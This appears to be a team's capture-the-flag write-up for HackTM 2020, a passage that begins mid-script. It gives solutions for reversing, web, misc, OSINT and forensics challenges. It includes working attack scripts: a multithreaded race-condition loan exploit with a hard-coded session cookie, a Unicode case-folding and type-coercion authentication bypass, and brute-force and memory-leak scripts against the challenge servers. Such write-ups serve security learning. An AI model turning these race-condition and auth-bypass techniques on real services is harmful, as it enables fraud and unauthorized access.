            pixels[w, h] = data[160 * h + w]
    img.save(out)

stream = open('stream.bin').read()
key, data = struct.unpack('<I', stream[:4])[0], bytearray(stream[4:])
decrypt(key, data, 'output.png')

```

### baby bear

The binary takes a 16-byte input and transforms it to a 46-bit string. If the resulting string matches the one generated by the binary, it prints the flag.

Instead of REing the obfuscated control flow we took a shortcut and approached this challange as a black box. We noticed that changing one input byte only affects a few consecutive output bits. We can use this to bruteforce the input byte-by-byte.

```python
from pwn import *
context.log_level = 'error'

def get(x):
    # socat tcp-l:1337,reuseaddr,fork exec:./baby_bear
    s = remote('localhost', 1337)
    s.sendlineafter('? ', x)
    r = s.recvline().strip()
    s.close()
    return r

def strdiff(a, b):
    for i in range(len(a)):
        if a[i] != b[i]:
            break
    return i

def bruteforce(t):
    s = ['\x00'] * 16
    for i in range(16):
        sc, sd = (0, 0)
        for c in range(256):
            s[i] = chr(c)
            d = strdiff(get(''.join(s)), t)
            if d > sd:
                sc = c
                sd = d
        s[i] = chr(sc)
        print 's[{}] = {}'.format(i, hex(sc))
    return ''.join(s)

s = remote('138.68.67.161', 20005)
s.recvuntil('says: ')
target = s.recvline().strip()
print 'target = {}'.format(target)

source = bruteforce(target)
s.sendafter('? ', source)
s.interactive()

```

### hackdex

1. patch the binary to bypass version number check.
2. find out we need to input 6 words and we know the sha256 hash. As the hint says, we need to pass the word game.
3. solve the word game and bruteforce with sha256 `LEARNING FUN FRIEND TEAM OVERCOMING PASSION`
4. input the 6 words and get the flag.
> HackTM{wh4t_4_cur10us_pow3r_w0rds_h4v3}


## web

### mybank

So the goal of the task was clear, to get 1337 btc in out account. The problem was that we only have ability to loan 600 btc. Some possible attacks could be:
* XML injection (of content type xml is available)
* Race condition

> So changing the content type didn't work. Now , time to test race condition. 
 
So next,I quickly wrote the following script and ran it. It tries to take 100 btc loan from server in multi thread. 
On visiting my user page i was greeted with 1500 btc in my account.I simply went to purchase page and bought the flag.

```python
import threading

import requests

def req(amount, csrf="IjA1MTk1ZjAzZWJmZTQ4YTE4OTc1NTdjM2UyNjdmMDI3MGU3NWFkOWEi.XjbIBA.oarDpyfsBinZ7v3O1TAMbPSjtWs"):

	site = "http://178.128.175.6:50090/"
	r = requests.post(site, {"csrf_token" : csrf, "loan":amount}, cookies={"session":".eJwNy00KhDAMBtC7ZD2FtPVrGi8jVRMYBkbwZyXe3b79u2k5dp_O7Wd_GokRFc7ZZrehtlhVAFmypSLOSdgEbdVGH7qu79oHco2M6qGUpmEAc1DLMaAwLPUHGD0v7K4biQ.XjbIBA.V48TChIcBrt1PEuo_kfj8s3Ukio"})
	print(r.text)


t=[
    threading.Thread(target=req, args=(100,)),
    threading.Thread(target=req, args=(100,)),
    threading.Thread(target=req, args=(100,)),
    threading.Thread(target=req, args=(100,)),
    threading.Thread(target=req, args=(100,)),
    threading.Thread(target=req, args=(100,)),
    threading.Thread(target=req, args=(100,)),
    threading.Thread(target=req, args=(100,)),
    threading.Thread(target=req, args=(100,)),
]

for i in t:
	i.start()

for i in t:
	i.join()

```

### Draw with us
After initial source code reviewing, I realized that the goal is to make `req.user.id == 0`  
Digging into all functions, I constucted a chain to archive that which make sense to me :))
- First bypass the check `isAdmin` in `/updateUser` so we can use it to add new right to our user. 
- Next bypass the check `checkRights` so we can add `p` and `n` to our user's rights so we can leak them using `/serverInfo`
- Finally use `/init` to get token with `id = 0`  

In the first step, i noticed that the check when we register and in `isAdmin` is while different. Specifically, `isAdmin` use `toLowerCase` but `isValidUser` use `toUpperCase`
So I think there might be some trick with `toUpperCase` and `toLowerCase`. May be something about Unicode. So I used this script to find character that can be leveraged to bypass. And I found the `\u212a` character
```js
for (let i=0; i < 100000; ++i){
    const c = String.fromCodePoint(i)
    if (c.toLowerCase() == 'k' && c.toUpperCase() !== 'K'){
        console.log(`${i} - "${c}"`)
    }
}
```
Login with `{"username":"hac\u212atm"}` give me the ability to use `/updateUser` to perform the next step.  
I stucked at this point for about 2 hours, kept searching for something useful. And I came across an example on `MDN web docs` that bring me an idea of using some object that when be converted it will be `'p'` and `'n'`. Keep in mind that we can pass some data structure like int, bool, array... when using JSON request.  
After some tries, it succesfully work with `['p']`. I submited this to `/updateUser`
```
{"rights":[["p"],["n"]]}
```
And visiting `/serverInfo` give me `n` and `p` value. Which are:
```
p = 192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617
n = 54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979
```
So now we just have to find `q` which equal `n/p`. Using sage I found its value:
```
q = 283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987
```
Submit `p` and `q` to `/init` and I got the token with `id = 0`. And using that token to request `/flag` give me the flag.  
References that I used to solve the challenge:
- [https://blog.yeswehack.com/2019/04/01/solution-for-a-weird-xss-case/](https://blog.yeswehack.com/2019/04/01/solution-for-a-weird-xss-case/)
- [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors)

## misc

### The dragon sleeps at night

We can input negative itegers which will cause our sword level to rise while in storage. 

1. Use this to upgrade our sword to level 6.
2. Work until midnight so that the dragon is asleep.
3. Go to the cave to kill the dragon and get the flag.


### Chip8_1
```
import requests


headers = {
    'Connection': 'keep-alive',
    'Pragma': 'no-cache',
    'Cache-Control': 'no-cache',
    'Accept': 'application/json, text/plain, */*',
    'Content-Type': 'application/json;charset=UTF-8',
    'Origin': 'http://167.172.165.153:60003',
    'Referer': 'http://167.172.165.153:60003/',
    'Accept-Encoding': 'gzip, deflate',
}



# First we clear the screen, then we store a value into register 0 using 60NN, then use register 0 to set I with F029.
# D115 is then issued to draw the data 5 bytes at a time
# So we programatically send POST requests and parse the response to obtain the flag.
for c in range(16,40):
    loc = format(c,'x').zfill(2)
    data = '{"code":"00E0\\n60'
    data += loc
    data +='\\nF029\\nd115"}'

    response = requests.post('http://167.172.165.153:60002/', headers=headers, data=data, verify=False)

    display = response.json()['data']['display']

    for i in range(0,5):
        bstr = "".join(map(str,display[i][0:8]))
        hval = hex(int(bstr,2))

        try:
            print(chr(int(hval,16))),
        except:
            pass

```
### Chip8_2
```
import requests

headers = {
    'Connection': 'keep-alive',
    'Pragma': 'no-cache',
    'Cache-Control': 'no-cache',
    'Accept': 'application/json, text/plain, */*',
    'Content-Type': 'application/json;charset=UTF-8',
    'Origin': 'http://167.172.165.153:60003',
    'Referer': 'http://167.172.165.153:60003/',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9',
}


# We can set I to the edge of the accessible memory, then utilize the stepping feature to go past the boundary restrictions.
# The opcode / data bytes are obtained through looking at the lastInstruction & invalid instruction responses.

# This script just gets the lastInstruction values, went back manually to get the invalid instruction values when we had an illegal opcode.
ans = ""
for c in range(0,100):
    loc = format(0x1f40+(c*2),'x').zfill(2)

    #print(loc)

    data = '{"code":"'+loc+'","step":2}'

    response = requests.post('http://167.172.165.153:60002/', headers=headers, data=data, verify=False)

    bdata = response.json()['data']['lastInstruction']
    try:
        ans += chr(int(bdata[0:2],16))
    except:
        pass
    try:
        ans += chr(int(bdata[2:4],16))
    except:
        pass
    print(ans)

```

### shifty
The challenge is about solving a Torus puzzle (https://www.researchgate.net/publication/220654877_How_to_Solve_the_Torus_Puzzle). In our case the columns can only be rotated upwards, and the rows can only be rotated to the left.

By googling some possible solutions, one code caught my eye for the ease of understanding and execution speed: https://codegolf.stackexchange.com/questions/172824/rubik-sorting-a-matrix-a-k-a-the-torus-puzzle > Python solution. (Thanks Neil!)

Implementing this code to connect to the server provided by the challenge it allows to solve all the levels.

> Level 1

Simple matrix 3x3. It just takes a few seconds

> Level 2

12x12 Torus. It took forever! (Because I didn't read the hint that said "You can provide a list of comma-separated commands"). Once I read the hint twice, I solved it in a matter of seconds

> Level 3

You don't get any feedback at the end of every input. Not an issue, you just need the initial matrix to come up with the list of commands that form the solution

> Level 4

A given command will trigger a move in the wrong row / column. In order to solve it, the code needs to understand what row or column every char is connected to. Luckily enough, this is only a 4x4 matrix

> Level 5

This was the hardest. No actual way to know what row / column is connected with which character. We simply brute-forced with the code working for the levels 1-4. It took a few hours but hey, if you can't beat it.. bend it :)

### romanian_gibberish
This is the first and easiest challenge. Simply read more about Gibberish_language and how it adds noise characters to normal words to create some sort of obfuscation (Farfallino alphabet anybody?? :))
Removing the Gibberish characters from HapackTM{Wepelcopomepe_Topo_HAPACKTMCTF_2020!} gives you the flag.   
## osint

### OLD Times

> Step 1

Find the Twitter account associated to the name Vlaicu Petronel: https://twitter.com/PetronelVlaicu

> Step 2

Find the deleted tweets using **Wayback Machine** 
1. 1XhgPI0jpK8TjSMmSQ0z5Ozcu7EIIWhlXYQECJ7hFa20
2. I love GoogleS

> Step 3

Discover the Google Docs Document: https://docs.google.com/document/d/1XhgPI0jpK8TjSMmSQ0z5Ozcu7EIIWhlXYQECJ7hFa20

> Step 4

Discover the Github User: **E4gl3OfFr3ed0m** and the deleted file: **spread_locations.php** along with a secret url hidden within the README.md file: **http://138.68.67.161:55555/**

> Step 5

Get all 129 Coordinates

> Step 6

Plot all 129 Coordinates on the map

> Step 7

Get flag: **HackTM{HARDTIMES}**

## forensics


### rr
Set up both images as loop devices. On Ubuntu this will cause `mdadm` to automatically assemble a RAID array which you can then mount to get the flag.
```
root@me:~# losetup -o 1048576 $(losetup -f) 1.img
root@me:~# losetup -o 1048576 $(losetup -f) 3.img
root@me:~# ls -la /dev/md
total 0
drwxr-xr-x  2 root root   60 Feb  4 22:43 .
drwxr-xr-x 18 root root 3280 Feb  4 22:43 ..
lrwxrwxrwx  1 root root    8 Feb  4 22:43 ubuntu:0 -> ../md127
root@me:~# mount /dev/md/ubuntu:0 /mnt
root@me:~# ls -la /mnt
total 699772
drwxr-xr-x  3 root root      4096 Jan 31 20:54 .
drwxr-xr-x 18 root root      4096 Dec 18 19:57 ..
-rw-r--r--  1 root root     90402 Jan 31 20:54 Flag.jpg
drwx------  2 root root     16384 Jan 31 20:44 lost+found
-r--------  1 root root 716441107 Jan 31 20:52 realhuman_phill.txt
```

### Strange PCAP 

This is just a PCAP file when i open with wireshark i seen only a USB packets.Then i just search for the leftoverdata.
```
root@whoami:/tmp/d# tshark -r Strange.pcapng -Y "((usb.capdata)&& (frame.len == 35))"

 1332  37.973585       1.15.1 → host         USB 35 0000240000000000 URB_INTERRUPT in
 1339  37.997791       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1345  38.645921       1.15.1 → host         USB 35 0000190000000000 URB_INTERRUPT in
 1347  38.737929       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1353  39.429649       1.15.1 → host         USB 35 00000a0000000000 URB_INTERRUPT in
 1355  39.509595       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1357  40.393950       1.15.1 → host         USB 35 00000d0000000000 URB_INTERRUPT in
 1363  40.477555       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1369  42.161608       1.15.1 → host         USB 35 0000210000000000 URB_INTERRUPT in
 1371  42.241928       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1377  42.769943       1.15.1 → host         USB 35 0200000000000000 URB_INTERRUPT in
 1379  43.041885       1.15.1 → host         USB 35 0200160000000000 URB_INTERRUPT in
 1381  43.173584       1.15.1 → host         USB 35 0200000000000000 URB_INTERRUPT in
 1387  43.709602       1.15.1 → host         USB 35 0200160000000000 URB_INTERRUPT in
 1389  43.833597       1.15.1 → host         USB 35 0200000000000000 URB_INTERRUPT in
 1391  43.865604       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1397  44.721827       1.15.1 → host         USB 35 2000000000000000 URB_INTERRUPT in
 1399  45.201908       1.15.1 → host         USB 35 20000f0000000000 URB_INTERRUPT in
 1401  45.385837       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1411  46.873943       1.15.1 → host         USB 35 0000260000000000 URB_INTERRUPT in
 1413  46.961601       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1419  47.945914       1.15.1 → host         USB 35 2000000000000000 URB_INTERRUPT in
 1425  49.105946       1.15.1 → host         USB 35 2000110000000000 URB_INTERRUPT in
 1427  49.237972       1.15.1 → host         USB 35 2000000000000000 URB_INTERRUPT in
 1429  49.273937       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1439  50.681608       1.15.1 → host         USB 35 2000000000000000 URB_INTERRUPT in
 1441  51.169930       1.15.1 → host         USB 35 20000b0000000000 URB_INTERRUPT in
 1443  51.289567       1.15.1 → host         USB 35 2000000000000000 URB_INTERRUPT in
 1445  51.377598       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1451  51.665592       1.15.1 → host         USB 35 2000000000000000 URB_INTERRUPT in
 1453  52.161917       1.15.1 → host         USB 35 2000190000000000 URB_INTERRUPT in
 1455  52.305610       1.15.1 → host         USB 35 2000000000000000 URB_INTERRUPT in
 1457  52.321592       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1463  53.281849       1.15.1 → host         USB 35 0000180000000000 URB_INTERRUPT in
 1465  53.353902       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1471  53.833929       1.15.1 → host         USB 35 0200000000000000 URB_INTERRUPT in
 1473  54.417598       1.15.1 → host         USB 35 02000e0000000000 URB_INTERRUPT in
 1479  54.505567       1.15.1 → host         USB 35 0200000000000000 URB_INTERRUPT in
 1481  54.809612       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1487  55.745945       1.15.1 → host         USB 35 0000270000000000 URB_INTERRUPT in
 1489  55.825596       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1491  56.137610       1.15.1 → host         USB 35 0200000000000000 URB_INTERRUPT in
 1497  56.521610       1.15.1 → host         USB 35 0200070000000000 URB_INTERRUPT in
 1499  56.601863       1.15.1 → host         USB 35 0200000000000000 URB_INTERRUPT in
 1501  56.817946       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1507  58.121930       1.15.1 → host         USB 35 0000230000000000 URB_INTERRUPT in
 1509  58.217802       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1515  58.841556       1.15.1 → host         USB 35 0000070000000000 URB_INTERRUPT in
 1517  58.929549       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1523  59.665864       1.15.1 → host         USB 35 0000200000000000 URB_INTERRUPT in
 1525  59.761612       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1527  60.049891       1.15.1 → host         USB 35 0200000000000000 URB_INTERRUPT in
 1533  60.449831       1.15.1 → host         USB 35 0200090000000000 URB_INTERRUPT in
 1535  60.529594       1.15.1 → host         USB 35 0200000000000000 URB_INTERRUPT in
 1537  60.705599       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
 1543  62.409857       1.15.1 → host         USB 35 0000280000000000 URB_INTERRUPT in
 1549  62.529591       1.15.1 → host         USB 35 0000000000000000 URB_INTERRUPT in
```
I used usb key decrypt  script to decode this  leftoverdata.

here is the script.
```
#!/usr/bin/python
# coding: utf-8
from __future__ import print_function
import sys,os

#declare -A lcasekey
lcasekey = {}
#declare -A ucasekey
ucasekey = {}

#associate USB HID scan codes with keys
#ex: key 4  can be both "a" and "A", depending on if SHIFT is held down
lcasekey[4]="a";           ucasekey[4]="A"
lcasekey[5]="b";           ucasekey[5]="B"
lcasekey[6]="c";           ucasekey[6]="C"
lcasekey[7]="d";           ucasekey[7]="D"
lcasekey[8]="e";           ucasekey[8]="E"
lcasekey[9]="f";           ucasekey[9]="F"
lcasekey[10]="g";          ucasekey[10]="G"
lcasekey[11]="h";          ucasekey[11]="H"
lcasekey[12]="i";          ucasekey[12]="I"
lcasekey[13]="j";          ucasekey[13]="J"
lcasekey[14]="k";          ucasekey[14]="K"
lcasekey[15]="l";          ucasekey[15]="L"
lcasekey[16]="m";          ucasekey[16]="M"
lcasekey[17]="n";          ucasekey[17]="N"
lcasekey[18]="o";          ucasekey[18]="O"
lcasekey[19]="p";          ucasekey[19]="P"
lcasekey[20]="q";          ucasekey[20]="Q"
lcasekey[21]="r";          ucasekey[21]="R"
lcasekey[22]="s";          ucasekey[22]="S"
lcasekey[23]="t";          ucasekey[23]="T"
lcasekey[24]="u";          ucasekey[24]="U"
lcasekey[25]="v";          ucasekey[25]="V"
lcasekey[26]="w";          ucasekey[26]="W"
lcasekey[27]="x";          ucasekey[27]="X"
lcasekey[28]="y";          ucasekey[28]="Y"
lcasekey[29]="z";          ucasekey[29]="Z"
lcasekey[30]="1";          ucasekey[30]="!"
lcasekey[31]="2";          ucasekey[31]="@"
lcasekey[32]="3";          ucasekey[32]="#"
lcasekey[33]="4";          ucasekey[33]="$"
lcasekey[34]="5";          ucasekey[34]="%"
lcasekey[35]="6";          ucasekey[35]="^"
lcasekey[36]="7";          ucasekey[36]="&"
lcasekey[37]="8";          ucasekey[37]="*"
lcasekey[38]="9";          ucasekey[38]="("
lcasekey[39]="0";          ucasekey[39]=")"
lcasekey[40]="Enter";      ucasekey[40]="Enter"
lcasekey[41]="esc";        ucasekey[41]="esc"
lcasekey[42]="del";        ucasekey[42]="del"
lcasekey[43]="tab";        ucasekey[43]="tab"
lcasekey[44]="space";      ucasekey[44]="space"
lcasekey[45]="-";          ucasekey[45]="_"
lcasekey[46]="=";          ucasekey[46]="+"
lcasekey[47]="[";          ucasekey[47]="{"
lcasekey[48]="]";          ucasekey[48]="}"
lcasekey[49]="\\";         ucasekey[49]="|"
lcasekey[50]=" ";          ucasekey[50]=" "
lcasekey[51]=";";          ucasekey[51]=":"
lcasekey[52]="'";          ucasekey[52]="\""
lcasekey[53]="`";          ucasekey[53]="~"
lcasekey[54]=",";          ucasekey[54]="<"
lcasekey[55]=".";          ucasekey[55]=">"
lcasekey[56]="/";          ucasekey[56]="?"
lcasekey[57]="CapsLock";   ucasekey[57]="CapsLock"
lcasekey[79]="RightArrow"; ucasekey[79]="RightArrow"
lcasekey[80]="LeftArrow";  ucasekey[80]="LeftArrow"
lcasekey[84]="/";          ucasekey[84]="/"
lcasekey[85]="*";          ucasekey[85]="*"
lcasekey[86]="-";          ucasekey[86]="-"
lcasekey[87]="+";          ucasekey[87]="+"
lcasekey[88]="Enter";      ucasekey[88]="Enter"
lcasekey[89]="1";          ucasekey[89]="1"
lcasekey[90]="2";          ucasekey[90]="2"
lcasekey[91]="3";          ucasekey[91]="3"
lcasekey[92]="4";          ucasekey[92]="4"
lcasekey[93]="5";          ucasekey[93]="5"
lcasekey[94]="6";          ucasekey[94]="6"
lcasekey[95]="7";          ucasekey[95]="7"
lcasekey[96]="8";          ucasekey[96]="8"
lcasekey[97]="9";          ucasekey[97]="9"
lcasekey[98]="0";          ucasekey[98]="0"
lcasekey[99]=".";          ucasekey[99]="."

#make sure filename to open has been provided
if len(sys.argv) == 2:
	keycodes = open(sys.argv[1])
	for line in keycodes:
		#dump line to bytearray
		bytesArray = bytearray.fromhex(line.strip())
		#see if we have a key code
		val = int(bytesArray[2])
		if val > 3 and val < 100:
			#see if left shift or right shift was held down
			if bytesArray[0] == 0x02 or bytesArray[0] == 0x20 :
				print(ucasekey[int(bytesArray[2])], end=''),  #single line output
				#print(ucasekey[int(bytesArray[2])])            #newline output
			else:
				print(lcasekey[int(bytesArray[2])], end=''),  #single line output
				#print(lcasekey[int(bytesArray[2])])            #newline output
else:
    print("USAGE: python %s [filename]" % os.path.basename(__file__))
```    
After Decrypting i GOT this: 7vgj4SSL9NHVuK0D6d3F
Its looks like a key or password, Then i used binwalk find something
```
root@whoami:/tmp/d# binwalk Strange.pcapng 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
8020775       0x7A6327        Zip archive data, encrypted at least v2.0 to extract, compressed size: 77, uncompressed size: 72, name: Flag.txt
8020980       0x7A63F4        End of Zip archive, footer length: 22
```
There is one zip file inside the pcap file i used binwalk -e Strange.pcapng to get the zip file

The zip file asking the password, I used that password as we got from usb decrypt 7vgj4SSL9NHVuK0D6d3F

I got the Flag.txt from the zip file:HackTM{88f1005c6b308c2713993af1218d8ad2ffaf3eb927a3f73dad3654dc1d00d4ae}

